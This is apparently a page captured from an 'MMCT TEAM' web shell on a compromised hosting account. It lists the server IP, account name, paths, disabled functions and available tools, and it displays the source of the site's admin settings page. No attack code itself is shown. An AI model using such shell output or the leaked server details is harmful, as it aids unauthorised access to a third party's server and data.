MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/agriba/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/admin/setting.php
<?php include'loginQuery/session_start.php';
include'dbc.php';?>
<!DOCTYPE html>
<html>
    <head>
    
        <meta charset="utf-8">
            <meta content="width=device-width, initial-scale=1.0" name="viewport">
                <meta content="IE=edge" http-equiv="X-UA-Compatible">
                    <!-- Page title -->
                    <title>
						 Settings                      
                    </title>
                    <!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
                    <!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
                    <!-- Vendor styles -->
                    <?php include'include/header-file.php';?>
					<!--select feild css-->                    
					<link rel="stylesheet" href="vendor/select2-3.5.2/select2.css" />
                    <link rel="stylesheet" href="vendor/select2-bootstrap/select2-bootstrap.css" />
				    <link rel="stylesheet" href="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" />
                </meta>
            </meta>
        </meta>
    </head>
   
<style>
.small-header .panel-body h2 {margin-top:3px;}
.hbreadcrumb {margin-top:0;}
/*.select2-container .select2-choice{
border-top-right-radius:0;
border-bottom-right-radius:0;
width:90%;
}
.element-box{

    width: 12.5%;
    background-color: #62cb31;
    padding: 5px;
    display: inline-block;
position: absolute;
right: 0;
top: 0;
margin-top: 23px;
height: 34px;
text-align: center;
    line-height: 30px;
border-top-right-radius:4px;
border-bottom-right-radius:4px;



}	
.element-box i{
    font-size: 20px;
    color: #fff;
		font-weight:700;
}
.element-box1{

    width: 13.5%;
    background-color: #62cb31;
    padding: 5px;
    display: inline-block;
position: absolute;
right: 0;
top: 0;
margin-top: 24px;
height: 34px;
text-align: center;
    line-height: 30px;
	border-top-right-radius:4px;
border-bottom-right-radius:4px;



}	
.element-box1 i{
    font-size: 20px;
    color: #fff;
		font-weight:700;
}
.element-box2{

    width: 5%;
    background-color: #62cb31;
    padding: 5px;
    display: inline-block;
position: absolute;
right: 0;
top: 0;

height: 34px;
text-align: center;
    line-height: 30px;
	border-top-right-radius:4px;
border-bottom-right-radius:4px;
margin-top:-1px;



}	
.element-box2 i{
    font-size: 20px;
    color: #fff;
		font-weight:700;
}*/
</style>    
    <body class="hide-sidebar">
        <!-- Simple splash screen-->
    
        <!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
        <!-- Header -->
        <?php include'include/header.php';?>
        <!-- Header End-->

        <!-- Navigation -->
        <?php include'include/side-menu.php';?>
        <!-- Navigation -->
        
        <!-- Main Wrapper -->
        <div id="wrapper">
       <!--small header start-->    
<div class="small-header">
    <div class="hpanel">
        <div class="panel-body">
            <!--<div id="hbreadcrumb" class="pull-right">
                <ol class="hbreadcrumb breadcrumb">
                    <li><a href="product-list.php" class="btn  btn-warning"><strong>Show All Items</strong></a></li>
                </ol>
            </div>-->
            <h2 class="font-light m-b-xs">
               Company Settings
            </h2>
            <small>Change Company Settings </small>
        </div>
    </div>
</div>     
										<?php
												
												$sql=mysqli_query($conn,"select * from tbl_setting2 where id='1'") or die(mysqli_error($conn));
                                                $row=mysqli_fetch_assoc($sql);
												extract($row);
                                            ?>

<!--small header end-->   
            <div class="content ">
                <div class="row">
                    <div class="col-lg-1"></div>
                    <div class="col-lg-10">
                        <div class="hpanel">
                            
                           
                            

                           <div class="hpanel">
                                <ul class="nav nav-tabs">
                                    <li class="active" class=""><a data-toggle="tab" href="#tab-3">Business Info.</a></li>
                                    <!--<li class=""><a data-toggle="tab" href="#tab-2">Business Details</a></li>-->
                                    <li ><a data-toggle="tab" href="#tab-1">Social Pages</a></li>
                                    
                                    
                                    
                                </ul>
                                <div class="tab-content">
                                	<!--1 tab section-->
                                    <div id="tab-1" class="tab-pane ">
                                        <div class="panel-body">
	                                      <form id="frmsoicalpages" role="form" action="" method="post" enctype="multipart/form-data">
											<input type="hidden" name="action" value="editSocialSetting"	 />                                            
                                            <div class="form-group">
                                                <label for="name">Facebook URL</label>
                                                 <input class="form-control" id="facebook" name="txtfacebook" value="<?php echo $facebook;?>" 
                                                 placeholder="enter the facebook url" required="" type="text"/>
                                            </div>
                                            
                                            <div class="form-group">
                                                <label for="name">Instagram URL</label>
                                                 <input class="form-control" id="instagram" name="txtinstagram" value="<?php echo $instagram;?>" 
                                                 placeholder="enter the instagram url" required="" type="text"/>
                                            </div>
                                            
                                            <div class="form-group">
                                                <label for="name">Twitter URL</label>
                                                 <input class="form-control" id="twitter" name="txttwitter" value="<?php echo $twitter;?>" 
                                                  placeholder="enter the twitter url " required="" type="text"/>
                                            </div>
                                            
                                            <div class="form-group">
                                                <label for="name">Youtube URL</label>
                                                 <input class="form-control" id="youtube" name="txtyoutube" value="<?php echo $youtube;?>" 
                                                 placeholder="enter the youtube url" required="" type="text"/>
                                            </div>
                                            
                                            <div class="form-group">
                                                <label for="name">Google Plus URL</label>
                                                 <input class="form-control" id="googleplus" name="txtgoogleplus" value="<?php echo $googleplus;?>" 
                                                 placeholder="enter the googleplus url" required="" type="text"/>
                                            </div>
                                            <hr>
                                   
                                    
                                    <div class="row">
                                        	<div class="col-xs-3">
                                            	<button id="socialbtn"  style="height: 30px;width: 100px;position: relative;"
		                                        class="btn btn-primary m-t-n-xs" type="submit">Save</button> 
                                            </div>
                                            <div class="col-xs-9" id="socialmsg"></div>
                                        </div>
                                         </form>   
                                            
                                            
                                            
                                        </div>
                                    </div>
                                    <!--End  1 tab section-->
                                    
                                    <!--2 tab section-->
                                    <div id="tab-2" class="tab-pane">
                                        <div class="panel-body">
                                            <form id="frmbusiness" role="form" action="" method="post" enctype="multipart/form-data">
											<input type="hidden" name="action" value="editBusinessSetting"	 />                                            
                                            
                                            
                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Dealer Care Mobile</label>
                                                     <input class="form-control" id="dealercaremobile" name="txtdealercaremobile"  value="<?php echo $dealer_care_mobile;?>"
                                                     placeholder="enter the dealer care mobile" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Dealer Care Email</label>
                                                     <input class="form-control" id="dealercareemail" name="txtdealercareemail"  value="<?php echo $dealer_care_email;?>"
                                                     placeholder="enter the dealer care email" required="" type="text"/>
                                                </div>
                                            </div>
                                            
                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Business Phone</label>
                                                     <input class="form-control" id="businessphone" name="txtbusinessphone" value="<?php echo $business_phone;?>"
                                                     placeholder="enter the business phone" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Business Email</label>
                                                     <input class="form-control" id="businessemail" name="txtbusinessemail"  value="<?php echo $business_email;?>" 
                                                     placeholder="enter the business email" required="" type="text"/>
                                                </div>
                                            </div>
                                            
                                            <hr>
                                    <div>
                                    	<div class="row">
                                        	<div class="col-xs-3">
                                            	<button id="bussinessbtn"  style="height: 30px;width: 100px;position: relative;"
		                                        class="btn btn-primary m-t-n-xs" type="submit">Save</button> 
                                            </div>
                                            <div class="col-xs-9" id="bussinessmsg"></div>
                                        </div>
                                        
                                    </div>
                                         </form>   
                                        </div>
                                    </div>
                                    <!--End 2 tab section-->
                                    
                                    <!--2 tab section-->
                                    <div id="tab-3" class="tab-pane active">
                                        <div class="panel-body">
                                            <form id="frmcompanylocation" role="form" action="dataQuery/process.php" method="post" enctype="multipart/form-data">
											<input type="hidden" name="action" value="editCompanyLocationSetting"	 />  
                                            <div class="row">
                                            	<div class="col-xs-3"  style="width:19%">
                                                	<label for="name">Company Logo</label>
                                                     <div id="brandimageprv6" class="img-content-size-1  common-fram">
                                                        <?php
														
                                                        if($logo !="")
                                                        {
                                                        ?>
                                                        <img src="../media/setting/<?php echo $logo;?>"/>
                                                        <?php }?>
                                                    </div>
                                                    <input class="textbox brand-img6" type="file" name="logofleimage" >
                                                </div>
                                            </div>
                                            <hr>
                                            <div class="row">
                                                <div class="form-group col-xs-12 col-sm-6">
                                                    <label for="name">Company Name</label>
                                                     <input class="form-control" id="companyname"  value="<?php echo $company_name;?>"
                                                     name="txtcompanyname" placeholder="enter the company name" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group col-xs-12 col-sm-6">
                                                    <label for="name">GST No</label>
                                                     <input class="form-control" id="gstno" name="txtgstno" value="<?php echo $gstno;?>"
                                                     placeholder="enter the gst no" required="" type="text"/>
                                                </div>
                                            </div>

                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name"> Mobile</label>
                                                     <input class="form-control" id="customercaremobile" name="txttcustomercaremobile" value="<?php echo $customer_care_mobile;?>"
                                                     placeholder="enter the customer care mobile" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Email</label>
                                                     <input class="form-control" id="customercareemail" name="txtcustomercareemail"  value="<?php echo $customer_care_email;?>"
                                                     placeholder="enter the customer care email" required="" type="text"/>
                                                </div>
                                            </div>                                          
                                            <div class="row">
                                                <div class="form-group col-xs-12 col-sm-6">
                                                    <label for="name">Address Line 1</label>
                                                    <textarea class="form-control" placeholder="Enter your company address line 1" name="txtcompanyaddressline1"><?php echo $company_address_line1;?></textarea>
                                                </div>
                                                
                                                <div class="form-group col-xs-12 col-sm-6">
                                                    <label for="name">Address Line 2</label>
                                                     <textarea class="form-control" placeholder="Enter your company address line 2" name="txtcompanyaddressline2"><?php echo $company_address_line2;?></textarea>
                                                </div>
                                            </div>

                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Pincode</label>
                                                     <input class="form-control" id="pincode" name="txtpincode"  value="<?php echo $pincode;?>"
                                                     placeholder="enter the pincode" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">City</label>
                                                     <input type="text" class="form-control"  name="selcity" value="<?php echo $city; ?>">
                                                </div>
                                            </div>
                                            
                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">State</label>
                                                    <input class="form-control" type="text" name="selstate" id="state" value="<?php echo $state;?>">
                                                     
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Country</label>
                                                    <input class="form-control"  type="text" name="selcountry" id="country" value="<?php echo $country;?>">
                                                     
                                                </div>
                                            </div>
                                            
                                            <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Phone 1</label>
                                                     <input class="form-control" id="phone1" name="txtphone1" value="<?php echo $phone1;?>"
                                                     placeholder="enter the phone 1" required="" type="text"/>
                                                </div>
                                                
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">Phone 2</label>
                                                     <input class="form-control" id="phone2" name="txtphone2" value="<?php echo $phone2;?>"
                                                     placeholder="enter the phone 2" type="text"/>
                                                </div>
                                            </div>
                                             <div class="row">
                                                <div class="form-group  col-xs-12 col-sm-6">
                                                    <label for="name">MAP</label>
                                                     <input class="form-control" id="map" name="txtmap"  value="<?php echo $map;?>"
                                                     placeholder="enter the phone 1" required="" type="text"/>
                                                </div>
                                            </div>
                                            
                                            <hr>
                                        <div class="row">
                                        	<div class="col-xs-3">
                                            	<button id="companybtn"  style="height: 30px;width: 100px;position: relative;"
		                                        class="btn btn-primary m-t-n-xs" type="submit">Save</button> 
                                            </div>
                                            <div class="col-xs-9" id="companymsg"></div>
                                        </div>
                                            
                                         </form>   
                                        </div>
                                    </div>
                                    <!--End 2 tab section-->
                                    
                                    <!--2 tab section-->
                                    
                                    <!--End 2 tab section-->
                                    
                                </div>
                            </div>
                                
                            
                            
                        </div><!--hpanel end-->
                    </div><!--col-10 end-->
                    <div class="col-lg-1"></div>
                </div>
            </div>
            <!-- Footer-->
            <?php include'include/footer-file.php';?>
<!--select feild css-->                    
<script src="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.js"></script>
<script src="vendor/select2-3.5.2/select2.min.js"></script>
     <?php include'message.php';?>
<script>

        

        $("#form_2").validate({
            rules: {
                name: {
                    required: true,
                    minlength: 3
                },
                username: {
                    required: true,
                    minlength: 5
                },
                url: {
                    required: true,
                    url: true
                },
                number: {
                    required: true,
                    number: true
                },
                last_name: {
                    required: true,
                    minlength: 6
                }
            },
            messages: {
                number: {
                    required: "(Please enter your phone number)",
                    number: "(Please enter valid phone number)"
                },
                last_name: {
                    required: "This is custom message for required",
                    minlength: "This is custom message for min length"
                }
            },
            submitHandler: function(form) {
                form.submit();
            },
            errorPlacement: function(error, element) {
                $( element )
                        .closest( "form" )
                        .find( "label[for='" + element.attr( "id" ) + "']" )
                        .append( error );
            },
            errorElement: "span",
        });


    });
</script>
 <script>

        $(function(){

            $('#datepicker').datepicker();
            $("#datepicker").on("changeDate", function(event) {
                $("#my_hidden_input").val(
                        $("#datepicker").datepicker('getFormattedDate')
                )
            });

            $('#datapicker2').datepicker();
            $('.input-group.date').datepicker({ });
            $('.input-daterange').datepicker({ });

            $("#demo1").TouchSpin({
                min: 0,
                max: 100,
                step: 0.1,
                decimals: 2,
                boostat: 5,
                maxboostedstep: 10,
            });

            $("#demo2").TouchSpin({
                verticalbuttons: true
            });

            $("#demo3").TouchSpin({
                postfix: '%'
            });

            $("#demo4").TouchSpin({
                postfix: "a button",
                postfix_extraclass: "btn btn-default"
            });

            $(".js-source-states").select2();
            $(".js-source-states-2").select2();

            //turn to inline mode
            $.fn.editable.defaults.mode = 'inline';

            //defaults
            $.fn.editable.defaults.url = '#';

            //editables
            $('#username').editable({
                url: '#',
                type: 'text',
                pk: 1,
                name: 'username',
                title: 'Enter username'
            });

            $('#firstname').editable({
                validate: function(value) {
                    if($.trim(value) == '') return 'This field is required';
                }
            });

            $('#sex').editable({
                prepend: "not selected",
                source: [
                    {value: 1, text: 'Male'},
                    {value: 2, text: 'Female'}
                ],
                display: function(value, sourceData) {
                    var colors = {"": "gray", 1: "green", 2: "blue"},
                            elem = $.grep(sourceData, function(o){return o.value == value;});

                    if(elem.length) {
                        $(this).text(elem[0].text).css("color", colors[value]);
                    } else {
                        $(this).empty();
                    }
                }
            });

            $('#dob').editable();

            $('#event').editable({
                placement: 'right',
                combodate: {
                    firstItem: 'name'
                }
            });

            $('#comments').editable({
                showbuttons: 'bottom'
            });

            $('#fruits').editable({
                pk: 1,
                limit: 3,
                source: [
                    {value: 1, text: 'banana'},
                    {value: 2, text: 'peach'},
                    {value: 3, text: 'apple'},
                    {value: 4, text: 'watermelon'},
                    {value: 5, text: 'orange'}
                ]
            });

            $('#user .editable').on('hidden', function(e, reason){
                if(reason === 'save' || reason === 'nochange') {
                    var $next = $(this).closest('tr').next().find('.editable');
                    if($('#autoopen').is(':checked')) {
                        setTimeout(function() {
                            $next.editable('show');
                        }, 300);
                    } else {
                        $next.focus();
                    }
                }
            });

            // ClockPicker
            $('.clockpicker').clockpicker({autoclose: true});

            // DateTimePicker
            $('#datetimepicker1').datetimepicker();
			
		

        });
		

    </script>
    


    </body>
</html>

MMCT - 2023